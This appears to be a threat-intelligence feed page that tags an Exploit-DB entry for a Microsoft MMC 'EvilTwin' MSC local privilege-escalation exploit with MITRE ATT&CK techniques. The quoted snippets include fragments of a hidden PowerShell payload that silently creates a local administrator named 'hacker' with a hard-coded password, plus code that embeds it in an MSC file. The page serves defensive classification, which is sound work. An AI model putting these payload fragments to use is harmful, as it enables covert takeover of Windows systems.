TTPwire Vol. 1 · MITRE ATT&CK·Tagged

← All stories

Exploit-DB

[local] Microsoft MMC MSC EvilTwin - Local Admin Creation

2026-04-08 · Read original ↗

ATT&CK techniques detected

5 predictions
T1136.001Local Account
87%
“et # payload : adds local administrator account " hacker " silently payload = ( ' powershell. exe - nop - w hidden - c " ' ' $ user = \ \ \ ' hacker \ \ \ ' ; ' ' $ pass = convertto - securestring \ \ \ ' p @ ssw0rd123! \ \ \ ' - asplaintext - force ; ' ' new - localuser - name $…”
T1078.003Local Accounts
72%
“: u / c : h / i : h / a : h # category : local # platform : windows # critical : this is a post - exploitation / living - off - the - land technique widely used in real attacks # including : zero - day at time of disclosure ( march 2025 ), actively exploited by water gamayun apt …”
T1078.003Local Accounts
50%
“: hacker " ) print ( " password : p @ ssw0rd123! " ) print ( " verify with : net localgroup administrators " ) if _ _ name _ _ = = " _ _ main _ _ " : main ( )”
T1068Exploitation for Privilege Escalation
33%
“##in, " actions " ) action = et. subelement ( actions, " action " ) et. subelement ( action, " runcommand " ). text = payload et. subelement ( action, " name " ). text = " addlocaladmin " tree = et. elementtree ( root ) tree. write ( filename, encoding = " utf - 16 ", xml _ decla…”
T1069.001Local Groups
32%
“: hacker " ) print ( " password : p @ ssw0rd123! " ) print ( " verify with : net localgroup administrators " ) if _ _ name _ _ = = " _ _ main _ _ " : main ( )”

Summary

Microsoft MMC MSC EvilTwin - Local Admin Creation